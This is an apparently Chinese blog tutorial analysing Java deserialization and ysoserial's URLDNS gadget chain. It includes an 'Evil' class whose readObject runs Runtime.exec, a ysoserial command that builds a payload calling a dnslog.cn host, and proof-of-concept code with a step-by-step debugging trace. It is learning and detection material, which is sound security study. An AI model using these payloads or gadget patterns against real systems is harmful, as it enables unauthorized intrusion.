URLDNS分析
阅读原文时间:2021年12月06日阅读:1
  • 学习了很久的Java基础,也看了很多的Java反序列化分析,现在也来分析学习哈最基础的URLDNS反序列化吧。

Java反序列化基础

  • 为了方便数据的存储,于是乎有了现在的Java序列化于反序列化。序列化就是将Java对象存储到一个文件,反序列化则是读取序列化生产的文件,还原Java对象,常见的基础反序列化。

  • 首先类需要实现Serializable这个接口,虽然这个接口里面没有东西,但是不实现这个接口则无法序列化。用transient 关键字修饰的属性除外,不参与序列化过程。

  • ObjectOutputStream.writeObject()序列化对象。

  • ObjectInputStream.readObject()读取我们的对象,这里也是我们反序列化的利用点。

    // SerializeAndUnserialize.java
    package JavaSecurity.URLDNS;

    import java.io.*;
    import java.io.FileOutputStream;
    import java.io.FileInputStream;
    import java.io.ObjectInputStream;

    public class SerializeAndUnSerialize{
    public static void main(String[] args) throws Exception{
    // 正常反序列化
    serializeToFile("User.ser");
    unSerializeToObject("User.ser");
    // 恶意反序列化
    evilObject("Evil.ser");
    }

    public static void serializeToFile(String file) throws IOException{
        User user = new User("Pan3a");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(file));
        objectOutputStream.writeObject(user);
        objectOutputStream.flush();
        objectOutputStream.close();
    }
    
    public static void unSerializeToObject(String file) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
        User user = (User)objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(user.getName());
        user.setName("Forever404");
        System.out.println(user.getName());
    }
    
    public static void evilObject(String file) throws Exception{
        Evil evil = new Evil();
        evil.command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(file));
    objectOutputStream.writeObject(evil);
    objectOutputStream.flush();
    objectOutputStream.close();
    
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
    objectInputStream.readObject();
    objectInputStream.close();
    }

    }

    class User implements Serializable{
    private String name;

    public User(String name){
        this.name = name;
    }
    
    public String getName(){
        return this.name;
    }
    
    public void setName(String name){
        this.name = name;
    }
    
    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {
        objectOutputStream.defaultWriteObject();
        objectOutputStream.writeObject("Hello, This is writeObject!!");
    }
    
    private void readObject(ObjectInputStream objectInputStream) throws IOException,ClassNotFoundException{
        objectInputStream.defaultReadObject();
        String message = (String) objectInputStream.readObject();
        System.out.println(message);
    }

    }

    class Evil implements Serializable{
    public String command;

    private void readObject(ObjectInputStream objectInputStream) throws IOException,ClassNotFoundException{
        objectInputStream.defaultReadObject();
        Runtime.getRuntime().exec(command);
    }

    }

  • 输出

    Hello, This is writeObject!!
    Pan3a
    Forever404

  • 这里序列化生成的数据。

  • 分析Evil类,这里控制了该类的readObject方法,那么则可能造成漏洞。

# Ysoserial

  • ysoserial是一个Java反序列化漏洞利用工具,通常用于检测是否存在Java反序列化漏洞。

  • https://github.com/frohoff/ysoserial

  • 这里可以将其克隆下来再将其打包成jar文件即可,然后会在生成一个target目录,里面就有生成的jar。

    mvn clean package -DskipTests

## 生成payload

  • 生成我们的payload
  • java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "[http://0ehcf6.dnslog.cn"](http://0ehcf6.dnslog.cn") > ~/Temp/URLDNS.ser

## 编写漏洞代码

// URLDNSYsoSerialTest
package JavaSecurity.URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class URLDNSYsoSerialTest {
    public static void main(String[] args) throws IOException,ClassNotFoundException {
        FileInputStream inputStream = new FileInputStream("/Users/pan3a/Temp/URLDNS.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
    }
}
  • DNS获取到请求记录。

# URLDNS

  • URLDNS,它的功能正如其名发起DNS请求,因此无法回显,只能检测Java反序列化漏洞,构造好测试代码,然后开始调试。

    package JavaSecurity.URLDNS;

    import java.io.*;
    import java.net.InetAddress;
    import java.net.URL;
    import java.util.HashMap;
    import java.lang.reflect.Field;
    import java.io.ObjectOutputStream;

    public class URLDNSPoc {
    public static void main(String[] args) throws Exception{
    urlDns();
    unSerializeToObject("urlDns.ser");
    // addressGetByName();
    }

    public static void urlDns() throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
    URL url = new URL("https://pjm4n7.dnslog.cn");
    Class&lt;? &gt; clazz = Class.forName("java.net.URL");
    Field field = clazz.getDeclaredField("hashCode");
    field.setAccessible(true);
    hashMap.put(url, "Pan3a");
    field.set(url, -1);
    serializeToFile("urlDns.ser", hashMap);
    } public static void serializeToFile(String file,Object object) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(file)); objectOutputStream.writeObject(object); } public static void unSerializeToObject(String file) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file)); objectInputStream.readObject(); }

    // 最后发现是由getByName函数发起DNS请求,测试证明。
    public static void addressGetByName() throws Exception{
    URL url = new URL("https://pjm4n7.dnslog.cn");
    String host = url.getHost();
    InetAddress addr = InetAddress.getByName(host);
    String domainName = addr.getHostName();//获得主机名
    String IPName = addr.getHostAddress();//获得IP地址
    System.out.println("hostname:" + domainName);
    System.out.println("IPName:" + IPName);
    }
    }

  • 由于知道网上的利用链(Gatget Chain)是在HashMapreadObject方法触发的,因此我们直接在HashMapreadObject方法处下断点位置下断点即可,有些可能因为IDEA默认配置有个黑名单调试时不进入某些类,我们直接取消该选项。(因个人喜而异,能调试都可以。)

  • HashMap类的1367行进入了调试模式,接下来继续向下跟。

```java

private void readObject(java.io.ObjectInputStream s)

throws IOException, ClassNotFoundException {

// Read in the threshold (ignored), loadfactor, and any hidden stuff

s.defaultReadObject();

reinitialize();

if (loadFactor <= 0 || Float.isNaN(loadFactor))

throw new InvalidObjectException("Illegal load factor: " +

loadFactor);

s.readInt(); // Read and ignore number of buckets

int mappings = s.readInt(); // Read number of mappings (size)

if (mappings < 0)

throw new InvalidObjectException("Illegal mappings count: " +

mappings);

else if (mappings > 0) { // (if zero, use defaults)

// Size the table using given load factor only if within

// range of 0.25…4.0

float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);

float fc = (float)mappings / lf + 1.0f;

int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?

DEFAULT_INITIAL_CAPACITY :

(fc >= MAXIMUM_CAPACITY) ?

MAXIMUM_CAPACITY :

tableSizeFor((int)fc));

float ft = (float)cap * lf;

threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?

(int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}



- 这里一直向下跟进直到`36`行的一个`for`循环发现这里有`readObject`方法,我们传入的`key`又是`java.net.URL`对象,继续向下走然后到`41`行的的`putVal`方法,再继续跟进`hash`方法。

![](https://article.cdnof.com/2112/21e6e815-96b4-4cb6-a5fb-ec2fdb7288ff.png)
- 跟进`hash`方法后,因为`key`不为空,发现里面的`hashCode`方法,那么继续跟进。
```java
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
  • 这里是java.net.URL对象,因此跟进到URL.java的898行,当时的hashCode值为-1,因此进入下面的handlerhashCode方法。

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
    hashCode = handler.hashCode(this);
    return hashCode;
    }
  • handler又是URLStreamHandler的对象,于是乎跟进URLStreamHandler的第350行,这里的参数u则是我们刚才传递的URL对象。

    protected int hashCode(URL u) {
    int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();
    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }
    
    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();
    
    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();
    
    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();
    
    return h;
    }
  • 10行获取hostport跟进。

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;
    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
    }
  • InetAddress.getByName则进行一次DNS请求获取,到这里差不多也就结束了。

  • gadGet Chain

    HashMap->readObject()
    HashMap->hash()
    URL->hashCode()
    URLStreamHandler->hashCode()
    URLStreamHandler->getHostAddress()
    InetAddress->getByName()

# Ysoseria分析

  • 直接用IDEA打开我们克隆下来的项目,由于我有两个Java版本自动把项目配置为JDK14了,因此需要更改JDK版本,打开File->Project Structure

  • pom.xml得知我们的主类文件是GeneratePayload.java,运行查看环境是否成功。

  • 由于他是命令行获取的参数,因此我们配置当前文件运行参数,或者自己注释获取参数的17-20代码,直接给出传递的参数值,这里就采用配置参数的形式。

## 调试分析

  • 这里断点直接放到第9行。

    public static void main(final String[] args) {
        if (args.length != 2) {
            printUsage();
            System.exit(USAGE_CODE);
        }
        final String payloadType = args[0];
        final String command = args[1];
    final Class&lt;? extends ObjectPayload&gt; payloadClass = Utils.getPayloadClass(payloadType);
    if (payloadClass == null) {
        System.err.println("Invalid payload type '" + payloadType + "'");
        printUsage();
        System.exit(USAGE_CODE);
        return; // make null analysis happy
    }
    
    try {
        final ObjectPayload payload = payloadClass.newInstance();
        final Object object = payload.getObject(command);
        PrintStream out = System.out;
        Serializer.serialize(object, out);
        ObjectPayload.Utils.releasePayload(payload, object);
    } catch (Throwable e) {
        System.err.println("Error while generating or serializing payload");
        e.printStackTrace();
        System.exit(INTERNAL_ERROR_CODE);
    }
    System.exit(0);
    }
  • 来到Utils.getPayloadClass,这里是payloadType则是我们第攻击模块,这里传递的是URLDNS

       public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
            Class<? extends ObjectPayload> clazz = null;
            try {
                clazz = (Class<? extends ObjectPayload>) Class.forName(className);
            }
            catch ( Exception e1 ) {}
            if ( clazz == null ) {
                try {
                    return clazz = (Class<? extends ObjectPayload>) Class
                            .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
                }
                catch ( Exception e2 ) {}
            }
            if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
                clazz = null;
            }
            return clazz;
        }
  • 这里就是利用反射来获取我们需要的类,因为是forName因此需要全限定类名,然后返回获取的类,因为可以获取到URLDNSpayloadClass则不为空,进入try代码块。

    try {
    final ObjectPayload payload = payloadClass.newInstance();
    final Object object = payload.getObject(command);
    PrintStream out = System.out;
    Serializer.serialize(object, out);
    ObjectPayload.Utils.releasePayload(payload, object);
    }

  • URLDNS类通过反序列化的方式进行初始化,然后进入getObject方法。

        public Object getObject(final String url) throws Exception {
            //Avoid DNS resolution during payload creation
            //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
            URLStreamHandler handler = new SilentURLStreamHandler();
    
            HashMap ht = new HashMap(); // HashMap that will contain the URL
            URL u = new URL(null, url, handler); // URL to use as the Key
            ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    
            Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    
            return ht;
    }</code></pre></li>
  • 这里又实例化了SilentURLStreamHandler(),继续向下跟进。

    static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
            protected synchronized InetAddress getHostAddress(URL u) {
                    return null;
            }
    }</code></pre></li>
  • 这里继承了URLStreamHandler,重写了下面两个方法,其中让getHostAddress为空,因此不会触发InetAddress.getByName从而没有DNS请求,对比哈原生URLStreamHandler类。

    protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
    return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }
  • 接下来就是基础的通过反射使URL对象的hashCode值为-1,然后返回对象。再调用Serializer.serialize(object, out)对我们的hashMap对象进行序列化操作。

    public static void serialize(final Object obj, final OutputStream out) throws IOException {
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
    }
  • 这里就正常序列化然后调用输出流,ObjectPayload.Utils.releasePayload则是判断URLDNS是否为ReleaseableObjectPayload的一个子类,这个类是是一个接口,定义了一个release方法,然后就结束了,退出程序。